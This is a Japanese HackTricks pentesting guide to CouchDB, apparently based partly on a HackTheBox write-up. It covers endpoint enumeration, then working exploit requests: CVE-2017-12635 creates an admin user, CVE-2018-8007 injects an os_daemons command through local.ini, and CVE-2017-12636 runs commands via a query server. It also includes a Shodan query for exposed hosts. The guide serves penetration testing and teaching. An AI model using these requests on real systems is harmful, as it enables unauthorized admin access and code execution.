# 5984,6984 - CouchDBのペンテスト
**htARTE(HackTricks AWS Red Team Expert)** **htARTE(HackTricks AWS Red Team Expert)**を通じて、ゼロからヒーローまでAWSハッキングを学ぶ! HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする - **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
## **基本情報** **CouchDB**は、**キーと値のマップ**構造を使用してデータを整理する**柔軟で強力な文書指向データベース**です。ドキュメント内のフィールドは**キー/値のペア、リスト、またはマップ**として表現でき、データの保存と取得に柔軟性を提供します。 CouchDBに格納されるすべての**ドキュメント**には、ドキュメントレベルで一意の識別子(`_id`)が割り当てられます。さらに、データベースに行われた各変更は**リビジョン番号**(`_rev`)が割り当てられます。このリビジョン番号により、変更の効率的な**追跡と管理**が可能となり、データの簡単な取得とデータベース内での同期が容易になります。 **デフォルトポート:** 5984(http)、6984(https) ``` PORT STATE SERVICE REASON 5984/tcp open unknown syn-ack ``` ## **自動列挙** ```bash nmap -sV --script couchdb-databases,couchdb-stats -p msf> use auxiliary/scanner/couchdb/couchdb_enum ``` ## マニュアル列挙 ### バナー ``` curl http://IP:5984/ ``` これはインストールされたCouchDBインスタンスにGETリクエストを送信します。返信は以下のいずれかのようになるはずです: ```bash {"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` {% hint style="info" %} CouchDBのルートにアクセスすると、`401 Unauthorized`が返され、次のようなメッセージが表示されます: `{"error":"unauthorized","reason":"Authentication required."}` **バナーや他のエンドポイントにアクセスできません**。 {% endhint %} ### 情報列挙 これらは、**GET**リクエストでアクセスできるエンドポイントであり、いくつかの興味深い情報を抽出できます。CouchDBのドキュメントには、[**より多くのエンドポイントと詳細な説明が記載されています**](https://docs.couchdb.org/en/latest/api/index.html)。 * **`/_active_tasks`** 実行中のタスクのリスト。タスクのタイプ、名前、ステータス、プロセスIDを含む。 * **`/_all_dbs`** CouchDBインスタンス内のすべてのデータベースのリストを返します。 * **`/_cluster_setup`** ノードまたはクラスターのステータスを返します。クラスターセットアップウィザードに従います。 * **`/_db_updates`** CouchDBインスタンス内のすべてのデータベースイベントのリストを返します。このエンドポイントを使用するには、`_global_changes`データベースの存在が必要です。 * **`/_membership`** `cluster_nodes`としてクラスターに属するノードを表示します。`all_nodes`フィールドには、このノードが知っているすべてのノードが表示され、クラスターに属するノードも含まれます。 * **`/_scheduler/jobs`** レプリケーションジョブのリスト。各ジョブの説明には、ソースとターゲット情報、レプリケーションID、最近のイベントの履歴、その他いくつかの情報が含まれます。 * **`/_scheduler/docs`** レプリケーションドキュメントの状態のリスト。`completed`および`failed`の状態を含むすべてのドキュメントに関する情報が含まれます。各ドキュメントには、ドキュメントID、データベース、レプリケーションID、ソースとターゲットなどが返されます。 * **`/_scheduler/docs/{replicator_db}`** * **`/_scheduler/docs/{replicator_db}/{docid}`** * **`/_node/{node-name}`** `/_node/{node-name}`エンドポイントは、リクエストを処理するサーバーのErlangノード名を確認するために使用できます。これは、この情報を取得する際に最も役立ちます。 * **`/_node/{node-name}/_stats`** `_stats`リソースは、実行中のサーバーの統計情報を含むJSONオブジェクトを返します。リテラル文字列`_local`は、ローカルノード名のエイリアスとして機能します。したがって、すべての統計URLにおいて、`{node-name}`は`_local`に置き換えることができます。 * **`/_node/{node-name}/_system`** `_system`リソースは、実行中のサーバーのさまざまなシステムレベルの統計情報を含むJSONオブジェクトを返します。現在のノード情報を取得するには、`{node-name}`として`_local`を使用できます。 * **`/_node/{node-name}/_restart`** * **`/_up`** サーバーが稼働しており、リクエストに応答する準備ができていることを確認します。[`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode)が`true`または`nolb`の場合、エンドポイントは404レスポンスを返します。 * **`/_uuids`** CouchDBインスタンスから1つ以上のUUID(Universally Unique Identifiers)を要求します。 * **`/_reshard`** クラスター上のリシャーディングの状態を含む、完了、失敗、実行中、停止、および合計ジョブの数を返します。 ここで説明されているように、より興味深い情報を抽出できます: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) ### **データベースリスト** ``` curl -X GET http://IP:5984/_all_dbs ``` もしリクエストが401 Unauthorizedで応答した場合、データベースにアクセスするためには**有効な資格情報**が必要です: ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` 有効な資格情報を見つけるためには、**サービスをブルートフォースする**ことができます。 これは、データベースをリストする権限が**十分にある**場合のcouchdbの**レスポンスの例**です(ただし、データベースのリストのみです): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` ### データベース情報 データベース名にアクセスすることで、データベースの情報(ファイル数やサイズなど)を取得できます: ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons #Example response: {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` ### **ドキュメントリスト** データベース内の各エントリをリストします。 ```bash curl -X GET http://IP:5984/{dbname}/_all_docs curl http://localhost:5984/simpsons/_all_docs #Example response: {"total_rows":7,"offset":0,"rows":[ {"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}}, {"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}}, {"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}}, {"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}}, {"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}}, {"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}}, {"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}} ]} ``` ### **ドキュメントの読み取り** データベース内のドキュメントの内容を読み取ります: ```bash curl -X GET http://IP:5984/{dbname}/{id} curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 #Example response: {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` ## CouchDB特権昇格 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) ErlangとJavaScriptのJSONパーサーの違いのおかげで、次のリクエストで資格情報`hacktricks:hacktricks`を持つ管理者ユーザーを**作成**することができます: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` [**この脆弱性に関する詳細情報はこちら**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). ## CouchDB RCE ### **Erlang Cookieセキュリティ概要** 例は[こちら](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)から。 CouchDBのドキュメントでは、特にクラスター設定に関するセクション([リンク](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup))で、クラスターモードでのCouchDBのポートの使用が説明されています。スタンドアロンモードと同様に、ポート`5984`が使用されることが述べられています。さらに、ポート`5986`はノードローカルAPI用であり、重要なのは、ErlangがErlangクラスター内でノード間通信を可能にするためにErlang Port Mapper Daemon(EPMD)にTCPポート`4369`を必要とすることです。この設定により、各ノードが他のすべてのノードと相互にリンクされたネットワークが形成されます。 ポート`4369`に関する重要なセキュリティアドバイスが強調されています。このポートがインターネット上または信頼されていないネットワーク経由でアクセス可能になっている場合、システムのセキュリティは一意の識別子である「cookie」に大きく依存します。このcookieはセーフガードとして機能します。たとえば、特定のプロセスリストで、システムのセキュリティフレームワーク内での操作的な役割を示すcookieとして「monster」という名前のcookieが観察されるかもしれません。 ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` Erlangシステムのコンテキストでこの「cookie」がどのように悪用され、リモートコード実行(RCE)につながるかを理解したい方には、詳細なガイドが用意されています。これはErlangのcookieを不正な方法で利用してシステムを制御するための方法について詳しく説明しています。**[Erlang cookieをRCEに悪用する詳細ガイドをこちらでご覧いただけます](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。 ### **CVE-2018-8007の悪用:local.iniの変更を通じて** 例は[こちら](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)から。 最近公開された脆弱性であるCVE-2018-8007は、Apache CouchDBに影響を与え、悪用には`local.ini`ファイルへの書き込み権限が必要であることが明らかになりました。初期のターゲットシステムにはセキュリティ制限があるため、直接適用することはできませんが、探索目的で`local.ini`ファイルへの書き込みアクセス権限を付与するための変更が行われました。以下に、プロセスを示す詳細な手順とコード例が提供されています。 まず、環境を準備するために、`local.ini`ファイルが書き込み可能であることを確認し、権限をリストアップして検証します: ```bash root@canape:/home/homer/etc# ls -l -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini -rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` 以下の脆弱性を悪用するために、`local.ini`内の`cors/origins`構成をターゲットにしたcurlコマンドが実行されます。これにより、新しいオリジンが挿入され、`[os_daemons]`セクションに追加のコマンドが挿入され、任意のコードが実行されることを目指します: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` 次の検証では、変更点を強調するために、`local.ini` に注入された設定をバックアップと対比して示しています: ```bash root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 < [cors] < origins = 0xdf < [os_daemons] < test_daemon = /usr/bin/touch /tmp/0xdf ``` 最初、予想されるファイル(`/tmp/0xdf`)は存在せず、注入されたコマンドがまだ実行されていないことを示しています。さらなる調査により、CouchDBに関連するプロセスが実行されており、注入されたコマンドを実行する可能性がある1つのプロセスがあることが明らかになりました: ```bash root@canape:/home/homer/bin# ps aux | grep couch ``` 以下の手順で、特定されたCouchDBプロセスを終了させ、システムが自動的に再起動することで、注入されたコマンドの実行がトリガーされ、以前に欠落していたファイルの存在が確認されます: ```bash root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` この調査は、特定の条件下でCVE-2018-8007の悪用の実行可能性を確認しました。特に、`local.ini`ファイルへの書き込みアクセスが必要です。提供されたコード例と手順には、制御された環境で脆弱性を再現するための明確なガイドが含まれています。 CVE-2018-8007の詳細については、mdsecによるアドバイザリを参照してください:[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。 ### **Write Permissions on local.iniでCVE-2017-12636を探る** 例は[こちら](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)から。 CVE-2017-12636として知られる脆弱性が探索され、CouchDBプロセスを介したコード実行が可能となりますが、特定の構成によってはその悪用が防止される場合があります。オンラインで利用可能な多数のProof of Concept(POC)リファレンスがあるにもかかわらず、一般的に標的とされるバージョン1.xと異なるCouchDBバージョン2で脆弱性を悪用するためには調整が必要です。最初のステップは、CouchDBバージョンの確認と、期待されるクエリサーバーパスの不在を確認することです。 ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ ``` CouchDBバージョン2.0に対応するために、新しいパスが利用されています: ```bash curl 'http://0xdf:df@localhost:5984/_membership' curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers ``` 次の出力によると、新しいクエリサーバーを追加して呼び出そうとする試みは、許可関連のエラーに遭遇しました: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` さらなる調査により、`local.ini`ファイルに書き込み権限がないことが判明しました。rootまたはhomerアクセス権でファイルの権限を変更することで、進行が可能になりました: ```bash cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` 次のクエリサーバーの追加試行は成功し、応答にエラーメッセージがないことで示されました。`local.ini` ファイルの変更が成功したことは、ファイルの比較によって確認されました: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` 作業は、データベースとドキュメントの作成を行った後、新しく追加されたクエリサーバーにマッピングされたカスタムビューを介してコードを実行しようとする試みに続きました: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` ## Shodan * `port:5984 couchdb` ## 参考文献 * [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) * [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)